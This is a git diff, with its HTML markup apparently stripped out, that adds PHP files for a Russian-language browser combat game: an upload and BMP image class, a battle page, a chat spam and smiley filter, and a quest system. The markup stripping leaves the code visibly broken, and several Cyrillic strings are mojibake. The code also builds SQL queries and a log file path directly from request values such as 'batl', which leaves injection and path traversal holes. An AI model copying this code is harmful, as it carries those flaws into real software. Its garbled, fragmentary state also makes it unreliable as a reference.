    '; + + if (!$return_mode) { + // copy the file to its final destination. we don't use move_uploaded_file here + // if we happen to have open_basedir restrictions, it is a temp file that we copy, not the original uploaded file + if (!copy($this->file_src_pathname, $this->file_dst_pathname)) { + $this->processed = false; + $this->error = $this->translate('copy_failed'); + } + } else { + // returns the file, so that its content can be received by the caller + $return_content = @file_get_contents($this->file_src_pathname); + if ($return_content === FALSE) { + $this->processed = false; + $this->error = $this->translate('reading_failed'); + } + } + } + } + + if ($this->processed) { + $this->log .= '- process OK
    '; + } else { + $this->log .= '- error: ' . $this->error . '
    '; + } + + // we reinit all the vars + $this->init(); + + // we may return the image content + if ($return_mode) return $return_content; + + } + + /** + * Deletes the uploaded file from its temporary location + * + * When PHP uploads a file, it stores it in a temporary location. + * When you {@link process} the file, you actually copy the resulting file to the given location, it doesn't alter the original file. + * Once you have processed the file as many times as you wanted, you can delete the uploaded file. + * If there is open_basedir restrictions, the uploaded file is in fact a temporary file + * + * You might want not to use this function if you work on local files, as it will delete the source file + * + * @access public + */ + function clean() { + $this->log .= 'cleanup
    '; + $this->log .= '- delete temp file ' . $this->file_src_pathname . '
    '; + @unlink($this->file_src_pathname); + } + + + /** + * Opens a BMP image + * + * This function has been written by DHKold, and is used with permission of the author + * + * @access public + */ + function imagecreatefrombmp($filename) { + if (! $f1 = fopen($filename,"rb")) return false; + + $file = unpack("vfile_type/Vfile_size/Vreserved/Vbitmap_offset", fread($f1,14)); + if ($file['file_type'] != 19778) return false; + + $bmp = unpack('Vheader_size/Vwidth/Vheight/vplanes/vbits_per_pixel'. + '/Vcompression/Vsize_bitmap/Vhoriz_resolution'. + '/Vvert_resolution/Vcolors_used/Vcolors_important', fread($f1,40)); + $bmp['colors'] = pow(2,$bmp['bits_per_pixel']); + if ($bmp['size_bitmap'] == 0) $bmp['size_bitmap'] = $file['file_size'] - $file['bitmap_offset']; + $bmp['bytes_per_pixel'] = $bmp['bits_per_pixel']/8; + $bmp['bytes_per_pixel2'] = ceil($bmp['bytes_per_pixel']); + $bmp['decal'] = ($bmp['width']*$bmp['bytes_per_pixel']/4); + $bmp['decal'] -= floor($bmp['width']*$bmp['bytes_per_pixel']/4); + $bmp['decal'] = 4-(4*$bmp['decal']); + if ($bmp['decal'] == 4) $bmp['decal'] = 0; + + $palette = array(); + if ($bmp['colors'] < 16777216) { + $palette = unpack('V'.$bmp['colors'], fread($f1,$bmp['colors']*4)); + } + + $im = fread($f1,$bmp['size_bitmap']); + $vide = chr(0); + + $res = imagecreatetruecolor($bmp['width'],$bmp['height']); + $P = 0; + $Y = $bmp['height']-1; + while ($Y >= 0) { + $X=0; + while ($X < $bmp['width']) { + if ($bmp['bits_per_pixel'] == 24) + $color = unpack("V",substr($im,$P,3).$vide); + elseif ($bmp['bits_per_pixel'] == 16) { + $color = unpack("n",substr($im,$P,2)); + $color[1] = $palette[$color[1]+1]; + } elseif ($bmp['bits_per_pixel'] == 8) { + $color = unpack("n",$vide.substr($im,$P,1)); + $color[1] = $palette[$color[1]+1]; + } elseif ($bmp['bits_per_pixel'] == 4) { + $color = unpack("n",$vide.substr($im,floor($P),1)); + if (($P*2)%2 == 0) $color[1] = ($color[1] >> 4) ; else $color[1] = ($color[1] & 0x0F); + $color[1] = $palette[$color[1]+1]; + } elseif ($bmp['bits_per_pixel'] == 1) { + $color = unpack("n",$vide.substr($im,floor($P),1)); + if (($P*8)%8 == 0) $color[1] = $color[1] >>7; + elseif (($P*8)%8 == 1) $color[1] = ($color[1] & 0x40)>>6; + elseif (($P*8)%8 == 2) $color[1] = ($color[1] & 0x20)>>5; + elseif (($P*8)%8 == 3) $color[1] = ($color[1] & 0x10)>>4; + elseif (($P*8)%8 == 4) $color[1] = ($color[1] & 0x8)>>3; + elseif (($P*8)%8 == 5) $color[1] = ($color[1] & 0x4)>>2; + elseif (($P*8)%8 == 6) $color[1] = ($color[1] & 0x2)>>1; + elseif (($P*8)%8 == 7) $color[1] = ($color[1] & 0x1); + $color[1] = $palette[$color[1]+1]; + } else + return FALSE; + imagesetpixel($res,$X,$Y,$color[1]); + $X++; + $P += $bmp['bytes_per_pixel']; + } + $Y--; + $P+=$bmp['decal']; + } + fclose($f1); + return $res; + } + + /** + * Saves a BMP image + * + * This function has been published on the PHP website, and can be used freely + * + * @access public + */ + function imagebmp(&$im, $filename = "") { + + if (!$im) return false; + $w = imagesx($im); + $h = imagesy($im); + $result = ''; + + // if the image is not true color, we convert it first + if (!imageistruecolor($im)) { + $tmp = imagecreatetruecolor($w, $h); + imagecopy($tmp, $im, 0, 0, 0, 0, $w, $h); + imagedestroy($im); + $im = & $tmp; + } + + $biBPLine = $w * 3; + $biStride = ($biBPLine + 3) & ~3; + $biSizeImage = $biStride * $h; + $bfOffBits = 54; + $bfSize = $bfOffBits + $biSizeImage; + + $result .= substr('BM', 0, 2); + $result .= pack ('VvvV', $bfSize, 0, 0, $bfOffBits); + $result .= pack ('VVVvvVVVVVV', 40, $w, $h, 1, 24, 0, $biSizeImage, 0, 0, 0, 0); + + $numpad = $biStride - $biBPLine; + for ($y = $h - 1; $y >= 0; --$y) { + for ($x = 0; $x < $w; ++$x) { + $col = imagecolorat ($im, $x, $y); + $result .= substr(pack ('V', $col), 0, 3); + } + for ($i = 0; $i < $numpad; ++$i) + $result .= pack ('C', 0); + } + + if($filename==""){ + echo $result; + } else { + $file = fopen($filename, "wb"); + fwrite($file, $result); + fclose($file); + } + return true; + } +} + +?> \ No newline at end of file diff --git a/classes/fbattle.php b/classes/fbattle.php new file mode 100644 index 0000000..7a31cd0 --- /dev/null +++ b/classes/fbattle.php @@ -0,0 +1,470 @@ + + + + + + + + + + + + + + + + + + +
    +
    + + + + + + + + +
    + + + + +
    + +
    +
    + return) { + case 1 : + ?> + + + + + + + + +

    Поединок

    + Ваш ход +  
    +
    + 3) { + if(@$_GET['use']) { + $dressed = mysql_fetch_row(mysql_query("SELECT `id` FROM `inventory` WHERE `id` = '".(int)$_GET['use']."' AND `dressed` = 1")); + if((int)$dressed[0] > 0) { + $my_class = $fbattle->my_class; + ob_start(); + usemagic($_GET['use'], "".$_POST['target']); + $bb = explode(" +
    + +
    +
    + + 0) && $fbattle->battle) { + echo 'Ожидаем хода противника...
    0)?"battle":"end"),'>
    '; + } + elseif($user['hp'] <= 0 && $fbattle->battle) { + ref_drop ($user['id']); + echo 'Ожидаем, пока бой закончат другие игроки...
    0)?"battle":"end"),'>
    '; + } + break; + case 3 : + echo "

    Противник долго не делает свой ход, вы можете закончить бой победителем
    +
    "; + if(!$fbattle->user['in_tower'] && $fbattle->user['room']!=200) { + echo "или признать ничью
    +
    "; + } + echo "или
    + +
    "; + break; + } + echo ''; + + + + + + if($enemy == 0){ + // проверяем на вшивость + if(!$fbattle->battle) { + if($user['battle']) { $ll = $user['battle'];} else { $ll = $_POST['batl']; } + if(!$ll) + { + $ll_r=mysql_fetch_array(mysql_query("SELECT `id` FROM `battle` WHERE (`t1` LIKE '%{$user['id']}%' || `t2` LIKE '%{$user['id']}%') AND `win` = '3' LIMIT 1")); + $ll=$ll_r['id']; + } + $data = @mysql_fetch_array(mysql_query("SELECT * FROM `battle` WHERE `id` = {$ll} LIMIT 1")); + $damage = unserialize($data['damage']); + $exp = unserialize($data['exp']); + if(empty($damage[$user['id']])) { $damage[$user['id']] = 0; } + if($user['caveleader'] > 0 || $user['laba'] > 0) { + $rep = floor($damage[$user['id']]/300); + if($rep <= 0) { + $rep = 0; + } + $ads = '. Репутации: '.$rep.' ед.'; + } else { + $rep = 0; + $ads = '.'; + } + + echo '

    Бой закончен! Всего вами нанесено урона '.$damage[$user['id']].' HP. Получено опыта '.(int)$exp[$user['id']].' ('.check_proc($user['id']).'%)'.$ads.'

    '; + } + } else { +?> + + +battle) { +?> +
    +
    +t1 as $k => $v) { + if(in_array($v, array_keys($fbattle->battle))) { + ++$i; + if($i > 1) { $cc = ', '; } else { $cc = ''; } + $ffs .= $cc.nick4($v, "B1"); + $zz .= "private [".nick7($v)."] "; + } +} + +$i = 0; +?> + + + против +t2 as $k => $v) { + if(in_array($v, array_keys($fbattle->battle))) { + ++$i; + if($i > 1) { $cc = ', '; } else { $cc = ''; } + $ffs .= $cc.nick4($v, "B2"); + $zz .= "private [".nick7($v)."] "; + } +} +$i = 0; +?> + + +
    +На данный момент вами нанесено урона: damage[$user['id']]?> HP. + +(Бой идет с таймаутом battle_data['timeout']?> мин.) + +

    +
    +"; +} + +if($user['battle']) { $ll = $user['battle']; } elseif($_REQUEST['batl']) { $ll = $_REQUEST['batl']; } else { $ll = $_SESSION['batl']; } + +if(!$ll) { + $ll_r = mysql_fetch_array(mysql_query("SELECT `id` FROM `battle` WHERE (`t1` LIKE '%{$user['id']}%' OR `t2` LIKE '%{$user['id']}%') AND `win` = 3 LIMIT 1")); + $ll = $ll_r['id']; +} + +$fs = filesize("backup/logs/battle".$ll.".txt"); +$fh = fopen("backup/logs/battle".$ll.".txt", "r"); +fseek($fh, -4256, SEEK_END); +$log[0] = fread($fh, 4256); +fclose($fh); +$log = explode("
    ", $log[0]); +$ic = count($log)-2; + +if($fs >= 4256) { + $max = 1; +} else { + $max = 0; +} + +for($i = $ic; $i >= 0+$max; --$i) { + if(eregi("
    ", $log[$i])) { + $log[$i] = str_replace("
    ", "", $log[$i]); + $log[$i] = $log[$i]."
    "; + } + if(eregi(">".$user['login']."", $log[$i])) { + $log[$i] = str_replace("", "", $log[$i]); + } + if($ll != 0) { + if(eregi("
    ", $log[$i])) { + echo $log[$i]; + } else { + echo $log[$i]."
    "; + } + } +} +unset($ic); + +if($max == 1) { +?> +Полную версию лога боя, смотрите здесь» +
    + +
    + + +
    +return == 1) { + echo showinf_pers($fbattle->enemy, 1, 1); +} else { + if($fbattle->battle_data['type'] == 4 || $fbattle->battle_data['type'] == 5) { + $a = array(6, 16); + echo ""; + } elseif($fbattle->return > 1) { + echo ""; + } elseif($exp[$user['id']] > 0) { + echo ""; + } else { + echo ""; + } +} + +if($fbattle->needrefresh) { + header("Location: fbattle.php?".time()); +} + +if($fbattle->battle_data['needbb']) { + foreach($fbattle->battle as $k => $v) { + if($k > _BOTSEPARATOR_) { + foreach($v as $k2 => $v2) { + if($k2 < _BOTSEPARATOR_) continue; + $hp_1 = mysql_fetch_array(mysql_query('SELECT `hp` FROM `bots` WHERE `id` = "'.$k.'" LIMIT 1')); + $hp_2 = mysql_fetch_array(mysql_query('SELECT `hp` FROM `bots` WHERE `id` = "'.$k2.'" LIMIT 1')); + if($fbattle->battle[$k][$k2][0] && $fbattle->battle[$k2][$k][0] && $hp_1['hp'] > 0 && $hp_2['hp'] > 0 && time()-$fbattle->battle[$k][$k2][2] > 1 && time()-$fbattle->battle[$k2][$k][2] > 1) { + $at_1 = $fbattle->battle[$k][$k2][0]; + $def_1 = $fbattle->battle[$k][$k2][1]; + $at_2 = $fbattle->battle[$k2][$k][0]; + $def_2 = $fbattle->battle[$k2][$k][1]; + $fbattle->makechange($k, $k2, $at_1, $at_2, $def_1, $def_2); + $fbattle->write_log(); + $fbattle->battle[$k][$k2] = array(0, 0, time()); + $fbattle->battle[$k2][$k] = array(0, 0, time()); + $fbattle->needupdate = 1; + } + } + } + } + if($fbattle->needupdate) { + $fbattle->UpdateBattle(); + } +} + +?> +
    + +
    + +
    + + + + + + + \ No newline at end of file diff --git a/classes/filter_class.php b/classes/filter_class.php new file mode 100644 index 0000000..322b5d1 --- /dev/null +++ b/classes/filter_class.php @@ -0,0 +1,160 @@ +1,"fingal"=>1,"eek"=>1,"smoke"=>1,"hi"=>1,"bye"=>1,"king"=>1,"king2"=>1,"boks2"=>1,"boks"=>1,"gent"=>1,"lady"=>1,"tongue"=>1,"smil"=>1,"rotate"=>1,"ponder"=>1,"bow"=>1,"angel"=>1,"angel2"=>1,"hello"=>1,"dont"=>1,"idea"=>1,"mol"=>1,"super"=>1,"beer"=>1,"drink"=>1,"baby"=>1,"tongue2"=>1,"sword"=>1,"agree"=>1,"loveya"=>1,"kiss"=>1,"kiss2"=>1,"kiss3"=>1,"kiss4"=>1,"rose"=>1,"love"=>1,"love2"=>1,"confused"=>1,"yes"=>1,"no"=>1,"shuffle"=>1,"nono"=>1,"maniac"=>1,"privet"=>1,"ok"=>1,"ninja"=>1,"pif"=>1,"smash"=>1,"alien"=>1,"pirate"=>1,"gun"=>1,"trup"=>1,"mdr"=>1,"sneeze"=>1,"mad"=>1,"friday"=>1,"cry"=>1,"grust"=>1,"rupor"=>1,"fie"=>1,"nnn"=>1,"row"=>1,"red"=>1,"lick"=>1,"help"=>1,"wink"=>1,"jeer"=>1,"tease"=>1,"nunu"=>1,"inv"=>1,"duel"=>1,"susel"=>1,"nun"=>1,"kruger"=>1,"flowers"=>1,"horse"=>1,"hug"=>1,"str"=>1,"alch"=>1,"pal"=>1,"mag"=>1,"sniper"=>1,"vamp"=>1,"doc"=>1,"doc2"=>1,"sharp"=>1,"naem"=>1,"naem2"=>1,"naem3"=>1,"invis"=>1,"chtoza"=>1,"beggar"=>1,"sorry"=>1,"sorry2"=>1,"creator"=>1,"grace"=>1,"dustman"=>1,"carreat"=>1,"lordhaos"=>1,"ura"=>1,"elix"=>1,"dedmoroz"=>1,"snegur"=>1,"showng"=>1,"superng"=>1,"podz"=>1,"sten"=>1,"devil"=>1,"cat"=>1,"owl"=>1,"lightfly"=>1,"snowfight"=>1,"rocket"=>1,"ball"=>1,"smile"=>1,"fuck"=>1); + public $abuse = array("лох"=>1,"мудак"=>2); + + public function e($t) { + mysql_query('INSERT INTO `chat` (`text`, `city`, `to`, `type`, `new`, `time`) VALUES ("#'.date('d.m.Y').' %'.date('H:i:s').': '.mysql_real_escape_string($t).'", "capitalcity", "The Kite Runner", "6", "1", "-1")'); + } + + public function setOnline($online, $uid, $afk) { + $add = 0; + if(time()-$online >= 1) { + if(time()-$online < 60) { + $add += time()-$online; + } else { + $add += 60; + } + } + + $afk = 0; + if($add > 0) { + $on = mysql_fetch_array(mysql_query('SELECT * FROM `online` WHERE `id` = "'.$uid.'" LIMIT 1')); + if(isset($on['id'])) { + $mt = 0; + $lst = time(); + mysql_query('UPDATE `online` SET `date` = "'.$lst.'" WHERE `id` = "'.$on['id'].'" LIMIT 1'); + } + } + } + + public function mystr($string) { + $str = strtolower($string); + if(strtolower('S') != 's') { + $ru = 'АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЫЭЮЯЬЪ'; + $ru2 = 'абвгдеёжзийклмнопрстуфхцчшщъьыэюяьъ'; + $en = 'QWERTYUIOPASDFGHJKLZXCVBNM'; + $en2 = 'qwertyuiopasdfghjklzxcvbnm'; + $i = 0; + while($i < 33) { + if(isset($ru[$i])) { + $str = strtr($str, $ru[$i], $ru2[$i]); + } + if(isset($en[$i])) { + $str = strtr($str, $en[$i], $en2[$i]); + } + $i++; + } + } + return $str; + } + + public function reverse_i($str) { + $newstr = $str; + return $newstr; + } + + public function spamFiltr($txt) { + $nospam = 0; + $txt = str_replace('>', '', $txt); + $txt = str_replace('<', '', $txt); + $txt = str_replace('"', '', $txt); + $txt = $this->mystr($txt); + $i = 0; + $j = 0; + while($i <= count($this->sm)) { + if(isset($this->sm[$i])) { + $txt = preg_replace('/:'.$this->sm[$i].':/', "", $txt); + } + $i++; + } + + $spam = file_get_contents('spambase.txt',"r"); + $testEN = preg_replace('/[^a-z]*/i', '', $txt); + $testEN2 = $txt; + $testEN2 = str_replace('Р°','a',$testEN2); + $testEN2 = str_replace('Р±','b',$testEN2); + $testEN2 = str_replace('СЃ','c',$testEN2); + $testEN2 = str_replace('РІ','b',$testEN2); + $testEN2 = str_replace('Рµ','e',$testEN2); + $testEN2 = str_replace('С‚','t',$testEN2); + $testEN2 = str_replace('Рѕ','o',$testEN2); + $testEN2 = str_replace('СЂ','p',$testEN2); + $testEN2 = str_replace('Рј','m',$testEN2); + $testEN2 = str_replace('РЅ','h',$testEN2); + $testEN2 = str_replace('Сѓ','y',$testEN2); + $testEN2 = str_replace('Рє','k',$testEN2); + $testEN2 = str_replace('Рё','u',$testEN2); + $testEN2 = str_replace('С…','x',$testEN2); + $testEN2 = str_replace('()','o',$testEN2); + $testEN2 = str_replace('0','o',$testEN2); + $testEN2 = preg_replace('/[^a-z]*/i', '', $testEN2); + $testRU = preg_replace('/[^Р°-СЏ]*/i', '', $txt); + + $testRU2 = $txt; + $testRU2 = str_replace('a','Р°',$testRU2); + $testRU2 = str_replace('b','Р±',$testRU2); + $testRU2 = str_replace('c','СЃ',$testRU2); + $testRU2 = str_replace('b','РІ',$testRU2); + $testRU2 = str_replace('e','Рµ',$testRU2); + $testRU2 = str_replace('t','С‚',$testRU2); + $testRU2 = str_replace('o','Рѕ',$testRU2); + $testRU2 = str_replace('p','СЂ',$testRU2); + $testRU2 = str_replace('m','Рј',$testRU2); + $testRU2 = str_replace('h','РЅ',$testRU2); + $testRU2 = str_replace('y','Сѓ',$testRU2); + $testRU2 = str_replace('k','Рє',$testRU2); + $testRU2 = str_replace('x','С…',$testRU2); + $testRU2 = str_replace('u','Рё',$testRU2); + $testRU2 = str_replace('()','Рѕ',$testRU2); + $testRU2 = str_replace('0','Рѕ',$testRU2); + $testRU2 = preg_replace('/[^Р°-СЏ]*/i', '', $testRU2); + $i = 0; $spe = explode('|',$spam); + while($i <= count($spe)) { + if(isset($spe[$i]) && $spe[$i] != '' && $spe[$i] != 'capitalcity.old-dark.ru') { + if(preg_match("/".($spe[$i])."/i", ($testEN))) { + $nospam .= '%'.$spe[$i]; + } elseif(preg_match("/".($spe[$i])."/i", ($testRU))) { + $nospam .= '%'.$spe[$i]; + } elseif(preg_match("/".($spe[$i])."/i", ($testEN2))) { + $nospam .= '%'.$spe[$i]; + } elseif(preg_match("/".($spe[$i])."/i", ($testRU2))) { + $nospam .= '%'.$spe[$i]; + } + } + $i++; + } + return $nospam; + } + + public function getSmiles($txt, $lg) { + $i = 0; $j = 0; + $txt = ' '.$txt; $h = explode(':', $txt); + while($i <= count($this->sm)) { + if(isset($h[$i])) { + if(isset($this->sm[$h[$i]])) { + if($j < 6) { + $clk = 'onclick=\"top.addSm(\''.$h[$i].'\');\" style=\"cursor: pointer;\"'; + $h[$i] = '*not_dbl_ponts**not_dbl_ponts*'; + $j++; + } + } + } + $i++; + } + $txt = implode($h, ':'); + $txt = str_replace(':*not_dbl_ponts*', '', $txt); + $txt = str_replace('*not_dbl_ponts*:', '', $txt); + $txt = str_replace('*not_dbl_ponts*', '', $txt); + $txt = trim($txt,' '); + return $txt; + } + + public function __clone() { + trigger_error('Дублирование РЅРµ допускается.', E_USER_ERROR); + } +} + +$filter = new Filter(); +?> \ No newline at end of file diff --git a/classes/quests_class.php b/classes/quests_class.php new file mode 100644 index 0000000..b6c089f --- /dev/null +++ b/classes/quests_class.php @@ -0,0 +1,590 @@ +expl($pl['tr_date']); + + if(isset($d['tr_endq'])) { + $i = 0; + $e = explode(',', $d['tr_endq']); + while($i < count($e)) { + $qlst = mysql_fetch_array(mysql_query('SELECT `id`, `vals` FROM `actions` WHERE `uid` = "'.$uid.'" AND `vars` = "start_quest'.$e[$i].'" AND `vals` = "win" LIMIT 1')); + if(!isset($qlst['id'])) { + $r = 3; + } + $i++; + } + unset($qn, $qlst, $qlst2); + } + + if(isset($d['tr_zdr'])) { + $qlst = mysql_fetch_array(mysql_query('SELECT * FROM `actions` WHERE `uid` = "'.$uid.'" AND `vars` = "start_quest'.$pl['id'].'" AND `vals` != "go" ORDER BY `time` DESC LIMIT 1')); + if($qlst['time']+($d['tr_zdr']*60*60)-time() > 0) { + $r = 4; + } + unset($qlst); + } + + if(isset($d['tr_tm1'])) { + $d['tr_tm1'] = str_replace('d', date('d'), $d['tr_tm1']); + $d['tr_tm1'] = str_replace('m', date('m'), $d['tr_tm1']); + $d['tr_tm1'] = str_replace('y', date('y'), $d['tr_tm1']); + $d['tr_tm2'] = str_replace('d', date('d'), $d['tr_tm2']); + $d['tr_tm2'] = str_replace('m', date('m'), $d['tr_tm2']); + $d['tr_tm2'] = str_replace('y', date('y'), $d['tr_tm2']); + } + + if(isset($d['tr_raz'])) { + $qlst = $this->testAction('SELECT `id` FROM `actions` WHERE `uid` = "'.$uid.'" AND `vars` = "start_quest'.$pl['id'].'" LIMIT '.$d['tr_raz'], 2); + if($d['tr_raz'] > 0 && $d['tr_raz']-$qlst[0] <= 0) { + $r = 5; + } + unset($qlst); + } + + if(isset($d['tr_raz2'])) { + $qlst = $this->testAction('SELECT `id` FROM `actions` WHERE `uid` = "'.$uid.'" AND `vars` = "start_quest'.$pl['id'].'" AND `vals` != "go" AND `vals` != "win" LIMIT '.$d['tr_raz2'], 2); + if($d['tr_raz2']-$qlst[0] <= 0) { + $r = 6; + } + unset($qlst); + } + return $r; + } + + public function __clone() { + trigger_error('Дублирование не допускается.', E_USER_ERROR); + } + + public function startq($id, $val = NULL, $uid) { + $pl = mysql_fetch_array(mysql_query('SELECT * FROM `quests` WHERE `delete` = "0" AND `id` = "'.mysql_real_escape_string($id).'" LIMIT 1')); + if(isset($pl['id'])) { + $tms = (time()+60*60*$pl['time']); + $this->addAction(time(), 'start_quest'.$pl['id'], 'go', $uid, $tms); + $this->error = 'Вы успешно получили задание "'.$pl['name'].'"'; + } else { + $this->error = 'Не удалось получить данное задание ...'; + } + } + + public function list_quest($pl, $u) { + $r = ''; $t = ''; $nagr = ''; $tr = ''; + $qlst = mysql_fetch_array(mysql_query('SELECT * FROM `actions` WHERE `uid` = "'.$u.'" AND `vars` = "start_quest'.$pl['id'].'" ORDER BY `time` DESC LIMIT 1')); + + $ds = $this->expl($pl['win_date']); + if(isset($ds['add_cr'])) { + $nagr .= 'Деньги : '.$ds['add_cr'].' кр. '; + } + if(isset($ds['add_point'])) { + $nagr .= ' Репутация : '.$ds['add_point'].' ед. '; + } + if(isset($ds['add_exp'])) { + $nagr .= ' Опыт : '.$ds['add_exp'].' ед. '; + } + + $d = $this->expl($pl['act_date']); + if(isset($d['heal'])) { + $tr .= 'Вылечить '.$d['heal'].' игроков от травм.
    '; + } + if(isset($d['tr_win_haot'])) { + $tr .= 'Выйграть '.$d['tr_win_haot'].' хаотических поединков.
    '; + } + if(isset($d['kill_clone'])) { + $tr .= 'Выйграть '.$d['kill_clone'].' поединков против своего клона.
    '; + } + // if(isset($d['tr_win'])) { + // $tr .= 'Выйграть '.$d['tr_win'].' физических поединков против игроков.
    '; + // } + if(isset($d['kill_bot'])) { + $x = ''; + $ex = explode(',', $d['kill_bot']); + $i = 0; + while($i < count($ex)) { + $ex2 = explode('=', $ex[$i]); + $bot2 = mysql_fetch_array(mysql_query('SELECT `id`, `login` FROM `users` WHERE `id` = "'.$ex2[0].'" LIMIT 1')); + if(isset($bot2['id'])) { + $x .= '    • '.$bot2['login'].' '.$ex2[1].'
    '; + } + $i++; + } + + if($x != '') { + $x = trim($x, ', '); + $tr .= 'Убить ботов:
    '.$x.'
    '; + } + } + if($tr != '') { + $ts = 'Требования :
    '.$tr; + } + + $za = ''; + if($qlst['time']+($pl['heal']*60*60)-time() > 0) { + $tms = $this->timeOut($qlst['time']+($pl['heal']*60*60)-time()); + $za = 'Задержка еще : '.$tms.'
    '; + } + + $d = $this->expl($pl['tr_date']); + $r .= '
    '; + $r .= '
    я берусьЗадание "'.$pl['name'].'"
    '; + + $r .= '
    '.$pl['info'].'
    +
    +
    Награда : '.$nagr.'
    +
    +
    + Время на выполнение: '.$pl['time'].' ч.
    + '.$ts.$za.' +
    + Задание для ['.$pl['min_lvl'].'-'.$pl['max_lvl'].'] уровней, с задержкой '.$pl['heal'].' ч. +
    +
    +
    + '; + + + $r .= '
    '; + + return $r; + } + + public function info($pl, $uid) { + $r = ''; $t = ''; + $qst = mysql_fetch_array(mysql_query('SELECT * FROM `actions` WHERE `uid` = "'.$uid.'" AND `vars` = "start_quest'.$pl['id'].'" AND `vals` = "go" LIMIT 1')); + $d = $this->expl($pl['tr_date']); + + if(isset($d['tr_endq'])) { + $t .= 'Завершить квесты : '; + $i = 0; + $e = explode(',', $d['tr_endq']); + while($i <= count($e)) { + if($e[$i] > 0) { + $qn = mysql_fetch_array(mysql_query('SELECT `name` FROM `quests` WHERE `id` = "'.$e[$i].'" LIMIT 1')); + if(isset($qn['name'])) { + $t .= '"'.$qn['name'].'", '; + } + } + $i++; + } + $t = trim($t, ', '); + $t .= '
    '; + unset($qn); + } + + if(isset($d['tr_botitm'])) { + $t .= 'Из ботов выпадают предметы :
      '; + $e = explode('|', $d['tr_botitm']); + $i = 0; + while($i < count($e)) { + $j = 0; + $e2 = explode('-', $e[$i]); + + if($e2[0] > 0) { + $qn = mysql_fetch_array(mysql_query('SELECT `login` FROM `users` WHERE `id` = "'.$e2[0].'" LIMIT 1')); + $t .= '    • Из "'.$qn['login'].'" выпадает: '; + } else { + $t .= '    • Из любых ботов выпадает: '; + } + + $j = 0; + $e3 = explode(',',$e2[1]); + while($j < count($e3)) { + $e4 = explode('=', $e3[$j]); + $qi = mysql_fetch_array(mysql_query('SELECT `id`, `name`, `img` FROM `shop` WHERE `id` = "'.$e4[0].'" LIMIT 1')); + $t .= ' '.$qi['name'].', '; + $j++; + } + $t = trim($t, ', '); + $i++; + } + $t .= '
      '; + unset($qn, $qi, $e2, $e3, $e4); + } + + if(isset($d['tr_winitm'])) { + $t .= 'После победы выпадают предметы :
      '; + $e = explode('|', $d['tr_winitm']); + $i = 0; + while($i < count($e)) { + $j = 0; + $e2 = explode('-', $e[$i]); + $t .= '    • '; + + if($e2[0] > 0) { + $t .= 'Из людей выпадает : '; + } else { + $t .= 'Из ботов выпадает : '; + } + + $j = 0; + $e3 = explode(',', $e2[1]); + while($j < count($e3)) { + $e4 = explode('=', $e3[$j]); + $qi = mysql_fetch_array(mysql_query('SELECT `id`, `name`, `img` FROM `shop` WHERE `id` = "'.$e4[0].'" LIMIT 1')); + $t .= ' '.$qi['name'].', '; + $j++; + } + $t = trim($t, ', '); + $t .= '
      '; + $i++; + } + unset($qn, $qi, $e2, $e3, $e4); + } + + if(isset($d['tr_zdr'])) { + $qlst = mysql_fetch_array(mysql_query('SELECT * FROM `actions` WHERE `uid` = "'.$uid.'" AND `vars` = "start_quest'.$pl['id'].'" AND `vals` != "go" LIMIT 1')); + $t .= 'Задержка между выполнением задания : '.$this->timeOut($d['tr_zdr']*60*60); + if($qlst['time']+($d['tr_zdr']*60*60)-time() > 0) { + $t .= '(Осталось : '.$this->timeOut($qlst['time']+($d['tr_zdr']*60*60)-time()).' ч.)'; + } + $t .= '
      '; + unset($qlst); + } + + if(isset($d['tr_tm1'])) { + $d['tr_tm1'] = str_replace('d', date('d'), $d['tr_tm1']); + $d['tr_tm1'] = str_replace('m', date('m'), $d['tr_tm1']); + $d['tr_tm1'] = str_replace('y', date('y'), $d['tr_tm1']); + $d['tr_tm2'] = str_replace('d', date('d'), $d['tr_tm2']); + $d['tr_tm2'] = str_replace('m', date('m'), $d['tr_tm2']); + $d['tr_tm2'] = str_replace('y', date('y'), $d['tr_tm2']); + $t .= 'Период квеста : '.$d['tr_tm1'].' - '.$d['tr_tm2'].'
      '; + } + + if(isset($d['tr_raz'])) { + if($d['tr_raz'] == -1) { + $t .= 'Сколько еще раз можно выполнить задание: бесконечно
      '; + } else { + $qlst = $this->testAction('SELECT `id` FROM `actions` WHERE `uid` = "'.$uid.'" AND `vars` = "start_quest'.$pl['id'].'" LIMIT '.$d['tr_raz'], 2); + $t .= 'Сколько раз можно выполнить задание: '.($d['tr_raz']-$qlst[0]).'
      '; + } + unset($qlst); + } + + if(isset($d['tr_raz2'])) { + $qlst = $this->testAction('SELECT `id` FROM `actions` WHERE `uid` = "'.$uid.'" AND `vars` = "start_quest'.$pl['id'].'" AND `vals` != "go" AND `vals` != "win" LIMIT '.$d['tr_raz2'], 2); + $t .= 'Осталось попыток выполнить задание : '.($d['tr_raz2']-$qlst[0]).'
      '; + unset($qlst); + } + + $d = $this->expl($pl['act_date']); + + if(isset($d['kill_bot'])) { + $x = ''; + $ex = explode(',', $d['kill_bot']); + $i = 0; + if(isset($d['all_kill']) && $d['all_kill'] > 0 ) { + while($i < count($ex)) { + $x2 = 0; + $ex2 = explode('=', $ex[$i]); + if(isset($qst['id'])) { + $x2 = $this->testAction('`uid` = "'.$uid.'" AND `time` > '.$qst['time'].' AND `vars` = "win_bot_'.$ex2[0].'" LIMIT '.$ex2[1], 2); + $x2 = (0+$x2[0]); + } + $i++; + } + + $bot2 = mysql_fetch_array(mysql_query('SELECT * FROM `users` WHERE `id` = "'.$ex2[0].'" LIMIT 1')); + $bot2['id'] = $bot2['id']; + if(isset($bot2['id'])){ + $x .= '    • '.$bot2['login'].' ['.$x2.'/'.$d['all_kill'].']
      '; + } else { + $x .= '    • '.$pl['name'].' ['.$x2.'/'.$d['all_kill'].']
      '; + } + } else { + while($i < count($ex)) { + $x2 = 0; + $ex2 = explode('=', $ex[$i]); + $bot2 = mysql_fetch_array(mysql_query('SELECT * FROM `users` WHERE `id` = "'.$ex2[0].'" LIMIT 1')); + if(isset($bot2['id'])) { + if(isset($qst['id'])) { + $x2 = $this->testAction('`uid` = "'.$uid.'" AND `time` > '.$qst['time'].' AND `vars` = "win_bot_'.$ex2[0].'" LIMIT '.$ex2[1], 2); + $x2 = (0+$x2[0]); + } + $x .= '    • '.$bot2['login'].' ['.$x2.'/'.$ex2[1].']
      '; + } + $i++; + } + } + + if($x != '') { + $x = trim($x, ', '); + $t .= 'Убить ботов:
